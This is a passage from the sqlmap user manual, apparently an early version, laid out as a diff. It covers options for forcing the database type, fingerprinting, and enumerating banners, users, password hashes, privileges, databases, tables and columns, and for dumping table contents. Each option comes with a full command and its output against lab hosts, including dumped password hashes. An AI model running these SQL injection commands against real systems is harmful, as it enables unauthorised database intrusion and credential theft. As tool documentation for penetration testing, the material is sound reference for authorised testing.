+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual 
+paragraph 'String match' for details
+
+
+

+ +

As you can see, the string after Dynamic content changes its +value every second. In the example it is just a call to PHP +time() function, but on the real world it is usually much more +than that.

+ +

Looking at the HTTP responses page content you can see that the first five +lines of code do not change at all. +So choosing for instance the word luther as an output that is +on the True page content and it is not on the False page content and +passing it to sqlmap, you should be able to inject anyway.

+

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+  --string "luther" -v 1
+
+[hh:mm:22] [INFO] testing connection to the target url
+[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
+[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+

+ +

As you can see, when this option is specified, sqlmap skips the URL +stability test.

+ +

Consider this option a must when you are dealing with a page which +content that changes itself at each refresh without modifying the user's +input.

+ + +

Force the database management system name

+ +

Option: --dbms

+ +

By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four:

+

+

    +
  • MySQL
  • +
  • Oracle
  • +
  • PostgreSQL
  • +
  • Microsoft SQL Server
  • +
+

+ +

It is possible to force the name if you already know it so that sqlmap +will skip the fingerprint with an exception for MySQL to only identify if +it is MySQL < 5.0 or MySQL >= 5.0. +To avoid also this check you can provide instead MySQL 4 or +MySQL 5.

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+  --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS:    PostgreSQL
+
+
+

+ +

In case you provide --fingerprint together with --dbms, +sqlmap will only perform the extensive fingerprint for the specified +database management system, read the following section for further +details.

+ +

Note that this option is not mandatory and it is strongly +recommended to use it only if you are absolutely sure about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you.

+ + +

5.3 Fingerprint +

+ +

Extensive database management system fingerprint

+ +

Options: -f or --fingerprint

+ +

By default the web application's back-end database management system +fingerprint is performed requesting a database specific function which +returns a known static value. By comparing this value with the returned +value it is possible to identify if the back-end database is effectively +the one that sqlmap expected.

+

After identifying an injectable vector, sqlmap fingerprints the back-end +database management system and performs the following queries with their +specific syntax within the limits of the database architecture.

+

If you want to perform a more accurate database management system +fingerprint based on various techniques like specific SQL dialects and +inband error messages, you can provide the --fingerprint option.

+

The order of database management systems that sqlmap tests for is:

+

+

    +
  • MySQL
  • +
  • Oracle
  • +
  • PostgreSQL
  • +
  • Microsoft SQL Server
  • +
+

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:02] [INFO] retrieved: 44
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 4
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: DATABASE()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SCHEMA()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 
+[hh:mm:02] [INFO] performed 6 queries in 0 seconds
+[hh:mm:02] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS:  active fingerprint: MySQL >= 5.0.2 and < 5.1
+                comment injection fingerprint: MySQL 5.0.51
+                html error message fingerprint: MySQL
+
+
+

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:26] [INFO] testing Oracle
+[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:26] [INFO] retrieved: 9
+[hh:mm:26] [INFO] performed 13 queries in 0 seconds
+[hh:mm:26] [INFO] confirming Oracle
+[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:27] [INFO] performed 76 queries in 0 seconds
+back-end DBMS:    active fingerprint: Oracle 10g
+                  html error message fingerprint: Oracle
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
+[hh:mm:56] [INFO] testing PostgreSQL
+[hh:mm:56] [INFO] query: COALESCE(7, NULL)
+[hh:mm:56] [INFO] retrieved: 7
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] confirming PostgreSQL
+[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
+[hh:mm:56] [INFO] retrieved: 2
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:  active fingerprint: PostgreSQL >= 8.2.0
+                html error message fingerprint: PostgreSQL
+
+
+

+ +

As you can see from this last example, sqlmap first tested for MySQL, +then for Oracle, then for PostgreSQL since the user did not forced the +back-end database management system name.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:41] [INFO] testing Microsoft SQL Server
+[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:41] [INFO] retrieved: 0
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
+                html error message fingerprint: Microsoft SQL Server
+
+
+

+ +

If you want an even more accurate result, based also on banner parsing, +you can also provide the -b or --banner option.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:11] [INFO] testing MySQL
+[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:11] [INFO] retrieved: 44
+[hh:mm:11] [INFO] performed 20 queries in 0 seconds
+[hh:mm:11] [INFO] confirming MySQL
+[hh:mm:11] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:11] [INFO] retrieved: 1
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 4
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: DATABASE()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SCHEMA()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 
+[hh:mm:11] [INFO] performed 6 queries in 0 seconds
+[hh:mm:11] [INFO] query: VERSION()
+[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:12] [INFO] performed 132 queries in 0 seconds
+[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS:  active fingerprint: MySQL >= 5.0.2 and < 5.1
+                comment injection fingerprint: MySQL 5.0.51
+                banner parsing fingerprint: MySQL 5.0.51
+                html error message fingerprint: MySQL
+[...]
+
+
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:03] [INFO] testing Microsoft SQL Server
+[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:03] [INFO] retrieved: 0
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
+        Aug  6 2000 00:57:48 
+        Copyright (c) 1988-2000 Microsoft Corporation
+        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+
+[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
+back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
+                banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 
+                version 8.00.194
+                html error message fingerprint: Microsoft SQL Server
+
+
+

+ +

As you can see, from the Microsoft SQL Server banner, sqlmap was able to +correctly identify the database management system service pack. +The Microsoft SQL Server XML versions file is the result of a sqlmap +parsing library that fetches data from Chip Andrews' +SQLSecurity.com site and outputs it to the XML versions file.

+ + +

5.4 Enumeration +

+ +

Banner

+ +

Option: -b or --banner

+ +

Most of the modern database management systems have a function or an +environment variable which returns details on the database managemet +system version. Sometimes also the operating system where the daemon has +been compiled on, the operating system architecture, its service pack. +Usually this function is version() or the @@version +environment variable.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b
+
+banner:    '5.0.51a-3ubuntu5.2'
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b
+
+banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 
+4.2.3-2ubuntu4)'
+
+
+

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b
+
+banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b
+
+banner:
+---
+Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
+        Aug  6 2000 00:57:48 
+        Copyright (c) 1988-2000 Microsoft Corporation
+        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+

+ + +

Current user

+ +

Option: --current-user

+ +

It is possible to retrieve the database management system's user which is +effectively performing the query on the database from the web application.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
+
+current user:    'testuser@localhost'
+
+
+

+ + +

Current database

+ +

Option: --current-db

+ +

It is possible to retrieve the database management system's database the +web application is connected to.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
+
+current database:    'master'
+
+
+

+ + +

Users

+ +

Option: --users

+ +

It is possible to enumerate the list of database management system users.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
+
+database management system users [3]:
+[*] postgres
+[*] testuser
+[*] testuser2
+
+
+

+ + +

Users password hashes

+ +

Options: --passwords and -U

+ +

It is possible to enumerate the password hashes for each database +management system user.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords
+
+[*] debian-sys-maint [1]:
+    password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
+[*] root [1]:
+    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] testuser [1]:
+    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
+
+
+

+ +

You can also provide the -U option to specify the user who you +want to enumerate the password hashes.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
+  -U sa
+
+database management system users password hashes:
+[*] sa [1]:
+    password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
+ba9930b62ee5d506955
+        header: 0x0100
+        salt: 0e16d704
+        mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
+        uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
+
+
+

+ +

As you can see, when you enumerate password hashes on Microsoft SQL Server +sqlmap split the hash, useful if you want to crack it.

+ + +

Users privileges

+ +

Options: --privileges and -U

+ +

It is possible to enumerate the privileges for each database management +system user.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges
+
+[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
+[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
+database management system users privileges:
+[*] CTXSYS [2]:
+    privilege: CTXAPP
+    privilege: RESOURCE
+[*] DBSNMP [1]:
+    privilege: OEM_MONITOR
+[*] FLOWS_020100 (administrator) [4]:
+    privilege: CONNECT
+    privilege: DBA
+    privilege: RESOURCE
+    privilege: SELECT_CATALOG_ROLE
+[*] FLOWS_FILES [2]:
+    privilege: CONNECT
+    privilege: RESOURCE
+[*] HR (administrator) [3]:
+    privilege: CONNECT
+    privilege: DBA
+    privilege: RESOURCE
+[*] MDSYS [2]:
+    privilege: CONNECT
+    privilege: RESOURCE
+[*] OUTLN [1]:
+    privilege: RESOURCE
+[*] SYS (administrator) [22]:
+    privilege: AQ_ADMINISTRATOR_ROLE
+    privilege: AQ_USER_ROLE
+    privilege: AUTHENTICATEDUSER
+    privilege: CONNECT
+    privilege: CTXAPP
+    privilege: DBA
+    privilege: DELETE_CATALOG_ROLE
+    privilege: EXECUTE_CATALOG_ROLE
+    privilege: EXP_FULL_DATABASE
+    privilege: GATHER_SYSTEM_STATISTICS
+    privilege: HS_ADMIN_ROLE
+    privilege: IMP_FULL_DATABASE
+    privilege: LOGSTDBY_ADMINISTRATOR
+    privilege: OEM_ADVISOR
+    privilege: OEM_MONITOR
+    privilege: PLUSTRACE
+    privilege: RECOVERY_CATALOG_OWNER
+    privilege: RESOURCE
+    privilege: SCHEDULER_ADMIN
+    privilege: SELECT_CATALOG_ROLE
+    privilege: XDBADMIN
+    privilege: XDBWEBSERVICES
+[*] SYSTEM (administrator) [2]:
+    privilege: AQ_ADMINISTRATOR_ROLE
+    privilege: DBA
+[*] TSMSYS [1]:
+    privilege: RESOURCE
+[*] XDB [2]:
+    privilege: CTXAPP
+    privilege: RESOURCE
+
+
+

+ +

You can also provide the -U option to specify the user who you +want to enumerate the privileges.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
+  -U postgres
+
+database management system users privileges:
+[*] postgres (administrator) [3]:
+    privilege: catupd
+    privilege: createdb
+    privilege: super
+
+
+

+ +

As you can see, depending on the user privileges, sqlmap identifies if the +user is a database management system administrator and show after the +username this information.

+ +

Note that this feature is not available if the back-end database +management system is Microsoft SQL Server.

+ + +

Available databases

+ +

Option: --dbs

+ +

It is possible to enumerate the list of databases.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
+
+available databases [6]:
+[*] master
+[*] model
+[*] msdb
+[*] Northwind
+[*] pubs
+[*] tempdb
+
+
+

+ +

Note that this feature is not available if the back-end database +management system is Oracle.

+ +

Databases tables

+ +

Options: --tables and -D

+ +

It is possible to enumerate the list of tables for all database +manangement system's databases.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables
+
+Database: test
+[1 table]
++---------------------------------------+
+| users                                 |
++---------------------------------------+
+
+Database: information_schema
+[17 tables]
++---------------------------------------+
+| CHARACTER_SETS                        |
+| COLLATION_CHARACTER_SET_APPLICABILITY |
+| COLLATIONS                            |
+| COLUMN_PRIVILEGES                     |
+| COLUMNS                               |
+| KEY_COLUMN_USAGE                      |
+| PROFILING                             |
+| ROUTINES                              |
+| SCHEMA_PRIVILEGES                     |
+| SCHEMATA                              |
+| STATISTICS                            |
+| TABLE_CONSTRAINTS                     |
+| TABLE_PRIVILEGES                      |
+| TABLES                                |
+| TRIGGERS                              |
+| USER_PRIVILEGES                       |
+| VIEWS                                 |
++---------------------------------------+
+
+Database: mysql
+[17 tables]
++---------------------------------------+
+| columns_priv                          |
+| db                                    |
+| func                                  |
+| help_category                         |
+| help_keyword                          |
+| help_relation                         |
+| help_topic                            |
+| host                                  |
+| proc                                  |
+| procs_priv                            |
+| tables_priv                           |
+| time_zone                             |
+| time_zone_leap_second                 |
+| time_zone_name                        |
+| time_zone_transition                  |
+| time_zone_transition_type             |
+| user                                  |
++---------------------------------------+
+
+
+

+ +

You can also provide the -D option to specify the database +that you want to enumerate the tables.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \
+  -D test
+
+Database: test
+[1 table]
++---------------------------------------+
+| users                                 |
++---------------------------------------+
+
+
+

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \
+  -D users
+
+Database: USERS
+[8 tables]
++-------------------+
+| DEPARTMENTS       |
+| EMPLOYEES         |
+| HTMLDB_PLAN_TABLE |
+| JOB_HISTORY       |
+| JOBS              |
+| LOCATIONS         |
+| REGIONS           |
+| USERS             |
++-------------------+
+
+
+

+ +

Note that on Oracle you have to provide the TABLESPACE_NAME +instead of the database name, in my example that is users to +retrieve all tables owned by an Oracle database management system +user.

+ + +

Database table columns

+ +

Options: --columns, -T and -D

+ +

It is possible to enumerate the list of columns for a specific database +table. +This functionality depends on both -T to specify the table name +and on -D to specify the database name.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
+  -T users -D master
+
+Database: master
+Table: users
+[3 columns]
++---------+---------+
+| Column  | Type    |
++---------+---------+
+| id      | int     |
+| name    | varchar |
+| surname | varchar |
++---------+---------+
+
+
+

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
+  -T users -D public
+
+Database: public
+Table: users
+[3 columns]
++---------+--------+
+| Column  | Type   |
++---------+--------+
+| id      | int4   |
+| name    | bpchar |
+| surname | bpchar |
++---------+--------+
+
+
+

+ +

Note that on PostgreSQL you have to provide public or the +name of a system database because it is not possible to enumerate other +databases tables, only the users' schema that the web application's user +is connected to, which is always public.

+ + +

Dump database tables entries

+ +

Options: --dump, -C, -T and -D

+ +

It is possible to dump the entries for a specific database table. +This functionality depends on both -T to specify the table name +and on -D to specify the database name.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
+  -T users -D test
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+
+

+ +

You can also provide the -C option to specify the table column +that you want to enumerate the entries.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
+  -T users -D master -C surname
+
+Database: master
+Table: users
+[5 entries]
++-------------------+
+| surname           |
++-------------------+
+| blisset           |
+| bunny             |
+| ming              |
+| nameisnull        |
+| user agent header |
++-------------------+
+
+
+

+ +

sqlmap also stores for each table the dumped entries in a CSV format file. +You can see the absolute path where it stored the dumped tables entries +by providing a verbosity level greater than or equal to 1.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
+  -T users -D public -v 1
+
+[...]
+Database: public
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  |                                            | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
+192.168.1.121/dump/public/users.csv'
+[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
+192.168.1.121'
+
+$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv 
+"id","name","surname"
+"1","luther","blissett"
+"2","fluffy","bunny"
+"3","wu","ming"
+"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
+"5","","nameisnull"
+
+
+

+ + +

Dump all databases tables entries

+ +

Options: --dump-all and --exclude-sysdbs

+ +

It is possible to dump all databases tables entries at once.

+

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 1  | luther                                     | blissett          |
+| 2  | fluffy                                     | bunny             |
+| 3  | wu                                         | ming              |
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+Database: information_schema
+Table: CHARACTER_SETS
+[36 entries]
++--------------------+----------------------+-----------------------------+--------+
+| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                 | MAXLEN |
++--------------------+----------------------+-----------------------------+--------+
+| tis620             | tis620_thai_ci       | TIS620 Thai                 | 1      |
+| macroman           | macroman_general_ci  | Mac West European           | 1      |
+| dec8               | dec8_swedish_ci      | DEC West European           | 1      |
+| ujis               | ujis_japanese_ci     | EUC-JP Japanese             | 3      |
+| eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese   | 3      |
+| armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian          | 1      |
+| ucs2               | ucs2_general_ci      | UCS-2 Unicode               | 2      |
+| hp8                | hp8_english_ci       | HP West European            | 1      |
+| latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
+| koi8u              | koi8u_general_ci     | KOI8-U Ukrainian            | 1      |
+| keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak  | 1      |
+| ascii              | ascii_general_ci     | US ASCII                    | 1      |
+| cp866              | cp866_general_ci     | DOS Russian                 | 1      |
+| cp1256             | cp1256_general_ci    | Windows Arabic              | 1      |
+| macce              | macce_general_ci     | Mac Central European        | 1      |
+| sjis               | sjis_japanese_ci     | Shift-JIS Japanese          | 2      |
+| geostd8            | geostd8_general_ci   | GEOSTD8 Georgian            | 1      |
+| cp1257             | cp1257_general_ci    | Windows Baltic              | 1      |
+| cp852              | cp852_general_ci     | DOS Central European        | 1      |
+| euckr              | euckr_korean_ci      | EUC-KR Korean               | 2      |
+| cp1250             | cp1250_general_ci    | Windows Central European    | 1      |
+| cp1251             | cp1251_general_ci    | Windows Cyrillic            | 1      |
+| binary             | binary               | Binary pseudo charset       | 1      |
+| big5               | big5_chinese_ci      | Big5 Traditional Chinese    | 2      |
+| gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese   | 2      |
+| hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew           | 1      |
+| koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian       | 1      |
+| greek              | greek_general_ci     | ISO 8859-7 Greek            | 1      |
+| cp850              | cp850_general_ci     | DOS West European           | 1      |
+| utf8               | utf8_general_ci      | UTF-8 Unicode               | 3      |
+| latin1             | latin1_swedish_ci    | cp1252 West European        | 1      |
+| latin7             | latin7_general_ci    | ISO 8859-13 Baltic          | 1      |
+| cp932              | cp932_japanese_ci    | SJIS for Windows Japanese   | 2      |
+| latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish          | 1      |
+| swe7               | swe7_swedish_ci      | 7bit Swedish                | 1      |
+| gbk                | gbk_chinese_ci       | GBK Simplified Chinese      | 2      |
++--------------------+----------------------+-----------------------------+--------+
+
+[...]
+
+
+

+ +

You can also provide the --exclude-sysdbs option to exclude all +system databases so that sqlmap will only dump entries of users' databases +tables.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \
+  --exclude-sysdbs
+
+Database: master
+Table: spt_datatype_info_ext
+[10 entries]
++----------------+-----------------+-----------+-----------+
+| AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
++----------------+-----------------+-----------+-----------+
+| 0              | length          | char      | 175       |
+| 0              | precision,scale | numeric   | 108       |
+| 0              | max length      | varbinary | 165       |
+| 0              | precision,scale | decimal   | 106       |
+| 1              | precision       | numeric   | 108       |
+| 0              | length          | nchar     | 239       |
+| 0              | max length      | nvarchar  | 231       |
+| 0              | length          | binary    | 173       |
+| 0              | max length      | varchar   | 167       |
+| 1              | precision       | decimal   | 106       |
++----------------+-----------------+-----------+-----------+
+
+[...]
+
+Database: master
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name                                       | surname           |
++----+--------------------------------------------+-------------------+
+| 4  | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 2  | fluffy                                     | bunny             |
+| 1  | luther                                     | blisset           |
+| 3  | wu                                         | ming              |
+| 5  | NULL                                       | nameisnull        |
++----+--------------------------------------------+-------------------+
+
+[...]
+
+
+

+ +

Note that on Microsoft SQL Server the master database is not +considered a system database because some database administrators use it +as a users' database.

+ + +

Run your own SQL SELECT statement

